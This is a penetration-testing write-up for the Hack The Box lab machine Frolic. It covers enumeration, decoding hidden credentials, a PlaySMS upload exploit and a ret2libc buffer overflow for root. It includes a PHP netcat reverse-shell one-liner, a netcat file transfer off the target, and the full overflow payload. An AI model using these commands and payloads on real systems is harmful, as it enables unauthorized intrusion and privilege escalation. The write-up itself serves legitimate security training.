Hack The Box —Frolic —without Metasploit (TJNull’s list for OSCP)
This is my 17th write-up for Frolic, a machine from TJNull’s list of HackTheBox machines for OSCP Practice. The full list can be found here.
In a general penetration test or a CTF, there are usually 3 major phases that are involved.
- Enumeration and Scanning (Information Gathering).
- Initial Foothold.
- Privilege Escalation.
Let’s get started with the box!
Enumeration
In order to hack into a system we need to first gather some information about it. For that, we use Nmap to scan the ports of the target machine to find out what services are running; services that we can target. First let’s try to find out what ports are open and then we will run a detailed scan only on those ports to save time.
(Note: the IP addresses in the screenshots are different because I reset the machine because of some problems, but the screenshots were taken earlier.)
nmap -p- 10.129.223.111 --max-retries=2
So, we have ports 22,139,445,1880,9999 open. Ports 18775,23078,62761 are filtered. Let’s run a targeted scan on all these ports.
nmap -sC -sV -T4 -A -p22,139,445,1880,9999,18775,23078,62761 10.129.223.111
Here, we have HTTP service running on port 1880 and port 9999. Let’s start enumerating those.
First navigate to port 1880 through our broswer.
We have a Node-Red login page here. I tried finding the version number through source code, but failed to do so.
Let’s start gobuster on it.
gobuster dir -u http://10.129.223.111:1880/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,cgi,sh,db,jsp,html,log,txt -t 200 -k --no-error
Meanwhile, let’s check out port 9999.
Ok. So, we have nginx running here. Let’s try running gobuster here too.
gobuster dir -u http://10.129.223.111:9999/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,cgi,sh,db,jsp,html,log,txt -t 200 -k --no-error
Meanwhile, let’s check out smb shares using smbmap.
smbmap -H 10.129.223.111
Looks like we do not have access to any of these.
So, we are out of options here. Let’s see what do we have on gobuster.
We have some directories on port 9999. Let’s check the /admin first
We have a login page here, saying ‘cmon I m hackable’.
Initial foothold
I tried SQLinjections, but they didn’t work. Then I tried intercepting the post request on burp and noticed that burp was unable to capture the post request. Which means that we are not sending any post requests on the server with the credentials, which concludes that this application is validating the credentials on the front end, not at the backend server.
Let’s view the source of this page and look for any front end scripts, because they might be validating the credentials.
Here, we can see that there’s a javascript file named login.js. This could be our script that’s validating the credentials. Let’s see what do we have in this script.
The if condition in the script says that if the username is admin and the password is superduperlooperpassword_lol then show a message Login successfully and then redirect to success.html.
Let’s try these credentials.
And we have a login successful message.
success.html seems to have weird code here. This is actually an esoteric programming language called Ook!. It’s a version of BrainFuck. Ook!
We can decode this string by an online Ook Decoder:
https://www.splitbrain.org/_static/ook/
Let’s copy paste the string in the textbox and select Ook to text.
It tells us to check /asdiSIAJJ0QWE9JAS directory.
It gives us a Base64 String. Let’s decode it.
echo "UEsDBBQACQAIAMOJN00j/lsUsAAAAGkCAAAJABwAaW5kZXgucGhwVVQJAAOFfKdbhXynW3V4CwAB
BAAAAAAEAAAAAF5E5hBKn3OyaIopmhuVUPBuC6m/U3PkAkp3GhHcjuWgNOL22Y9r7nrQEopVyJbs
K1i6f+BQyOES4baHpOrQu+J4XxPATolb/Y2EU6rqOPKD8uIPkUoyU8cqgwNE0I19kzhkVA5RAmve
EMrX4+T7al+fi/kY6ZTAJ3h/Y5DCFt2PdL6yNzVRrAuaigMOlRBrAyw0tdliKb40RrXpBgn/uoTj
lurp78cmcTJviFfUnOM5UEsHCCP+WxSwAAAAaQIAAFBLAQIeAxQACQAIAMOJN00j/lsUsAAAAGkC
AAAJABgAAAAAAAEAAACkgQAAAABpbmRleC5waHBVVAUAA4V8p1t1eAsAAQQAAAAABAAAAABQSwUG
AAAAAAEAAQBPAAAAAwEAAAAA" | base64 -d
It gives us some weird string. Which means that it’s not ASCII. Indicating that it could be any file. Let’s save this decoded string into a file and see what file type it is.
echo "UEsDBBQACQAIAMOJN00j/lsUsAAAAGkCAAAJABwAaW5kZXgucGhwVVQJAAOFfKdbhXynW3V4CwAB
BAAAAAAEAAAAAF5E5hBKn3OyaIopmhuVUPBuC6m/U3PkAkp3GhHcjuWgNOL22Y9r7nrQEopVyJbs
K1i6f+BQyOES4baHpOrQu+J4XxPATolb/Y2EU6rqOPKD8uIPkUoyU8cqgwNE0I19kzhkVA5RAmve
EMrX4+T7al+fi/kY6ZTAJ3h/Y5DCFt2PdL6yNzVRrAuaigMOlRBrAyw0tdliKb40RrXpBgn/uoTj
lurp78cmcTJviFfUnOM5UEsHCCP+WxSwAAAAaQIAAFBLAQIeAxQACQAIAMOJN00j/lsUsAAAAGkC
AAAJABgAAAAAAAEAAACkgQAAAABpbmRleC5waHBVVAUAA4V8p1t1eAsAAQQAAAAABAAAAABQSwUG
AAAAAAEAAQBPAAAAAwEAAAAA" | base64 -d > output.file
Now we can run the file command to check the file type.
file output.file
It seems to be a zip file. Let’s unzip it.
unzip output.file
It asks for a password.
Let’s see the other directories that we have found by gobuster.
Let’s see what we have in /backup
It gives us a hint, we have to look for file password.txt and user.txt.
By adding the filename after /backup/ we can find these files.
So the username is admin.
Let’s see the password.txt
Password is imnothuman. Let’s try this password in the zip file.
Well, the password seems to be incorrect. Let’s try bruteforcing it with rockyou.txt using fcrackzip.
fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt output.file
The password is password.
Let’s unzip it using this password.
unzip output.file
We have a file now. index.php. Let’s see what we have inside it.
cat index.php
And we have a hex code. Let’s decode it using anyonline decoder:
https://www.rapidtables.com/convert/number/hex-to-ascii.html
We again have a base64 string. Let’s decode it.
echo "KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKy4tLS0gLS0uKysgKysrKysgLjwr
KysgWy0+KysgKzxdPisKKysuPCsgKytbLT4gLS0tPF0gPi0tLS0gLS0uLS0gLS0tLS0gLjwrKysg
K1stPisgKysrPF0gPisrKy4gPCsrK1sgLT4tLS0KPF0+LS0gLjwrKysgWy0+KysgKzxdPisgLi0t
LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS0tLS4gPCsrKysgWy0+KysgKys8XT4KKysuLjwgCg==" | base64 -d
It again gives another Brainfuck code. Let’s decode that, by selecting brainfuck to text option this time.
it gives us another password, idkwhatispass.
Let’s try these credentials agains port 1880 Node-Red login panel.
But that didn’t work.
We don’t have any other place to check these credentials. Let’s run gobuster even further into the directories. One by one.
And by running gobuster inside http://10.129.223.111:9999/dev/
We find a backup directory inside it. Let’s visit that.
It says /playsms. Let’s navigate to this directory.
We have a login page here, we can try the credentials admin:idkwhatispass
And we are in!
Let’s try searching for playsms exploit. I found out this one:
https://www.exploit-db.com/exploits/42044
By reading it we can see that we can use the Send From File option to upload a php and the application will process it.
Let’s create a file
nano randomfile
I have put a php command execution in this file. Let’s try to upload it.
Let’s browse and upload.
It says, invalid entries. And also, judging by the columns we can see that it needs 3 colums. Let’s add 2 other values in our files separated by comma, since it expects a csv.
Let’s upload it.
And we can see that our embeded php code actually ran and read the /etc/passwd file. We can use this file to run other commands as well, so let’s get a reverse shell. I am gonna use the netcat OpenBSD shell in php like this.
<?php system('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.71 4242 >/tmp/f') ?>
Let’s start the listener and upload it.
nc -lvnp 4242
And we got the shell! Let’s upgrade it.
python -c 'import pty;pty.spawn("/bin/bash")'
Then do a CTRL+Z
stty raw -echo
fg
When we type fg it will not be displayed on the screen, but just do that and hit enter 2 times.
But we can not clear the screen here, because TERM variable is not set.
Let’s check what terminal we have in a new terminal session.
echo $TERM
export TERM=xterm-256color
And we have a stable shell now.
Privilege Escalation
Let’s enumerate the machine. Judging by /etc/passwd we have 2 users.
- Ayush
- Sahay
Let’s check their home directories if we can access them.
We have the user flag here.
We also have a directory named .binary
Let’s see what we have in here.
And we have a binary file rop owned by root and SUID set. It means this file runs as root.
Let’s run it.
It gives us the sytax, we have to run it with a message.
And it just displays the message.
Now, if this binary is running as root and it receives an input; what if it is vulnerable to buffer overflow? It could give us a shell as root.
Let’s see.
./rop $(python -c "print('A'*200)")
It gives a segmentation fault. Which means that it has something like a buffer overflow. Let’s transfer this file to our attacking machine using netcat.
First start a listener and file writer on our attacking machine.
nc -lvnp 5555 > rop
Now send the data from the target machine to our listener which will write it to a file rop on our machine.
cat rop | nc 10.10.14.71 5555
Let’s see if we received the file from our listener.
And we did. Let’s change the file permissions to executable and try to run it just to be confirm that it runs without any problems.
chmod +x rop
./rop randomMessage
And it runs as expected. Let’s open it in GDB. I have configured my GDB to run as PEDRA. You can do that by visiting the following link and following the instructions.
https://github.com/longld/peda
Let’s open it with GDB.
gdb rop
Let’s create a pattern of 100 length. Pedra allows us to create a patter with pattern_create <length> command.
pattern_create 100
Let’s just copy it and use this as input to our program
r 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
And it gives us a segmentation fault writing ‘AAGA’ to EIP. Let’s find it’s offset.
pattern_offset AAGA
So the offset is at 52. Which means we can write 52 characts before hitting the EIP register.
Let’s use python to create 52 A’s in a new terminal session.
python -c "print('A'*52)"
Copy this and paste it in gdb and add some random thing afterwards, this can confirm if it overwrites the EIP register exactly. I will enter ‘CODEDIED’ at the end. You can put whatever you want to.
r 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACODEDIED'
And it did overwrite our EIP exactly.
Now we just need the addresses of system
, exit
, and /bin/sh
in libc. This will vary on different hosts, so we’ll get the info with my shell on Frolic. First, we’ll get the base libc address with ldd
:
ldd rop
Next, I’ll use readelf -s
to get the offsets to various functions, and grep out system and exit
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep " system@"
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep " exit@"
Now we’ll use strings -a -t x to get the strings from libc with hex offsets, and grep for “/bin/sh”:
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
Now we can calculate the address of the three using any calculator by simply adding them into the base lib.c address. Let’s do it in gdb.
p <base lib.c address> + <address of system/shell/sh>
Now we know the addresses:
- system=0xb7e53da0
- exit=0xb7e479d0
- /bin/sh=0xb7f74a0b
We can convert it into Little Endian Bytes and send it into our python command.
./rop $(python -c 'print("A"*52 + "\xa0\x3d\xe5\xb7" + "\xd0\x79\xe4\xb7" + "\x0b\x4a\xf7\xb7")')
Once we run the above command on target, that executes the binary and with the python payload. We get the root shell.
And we are root!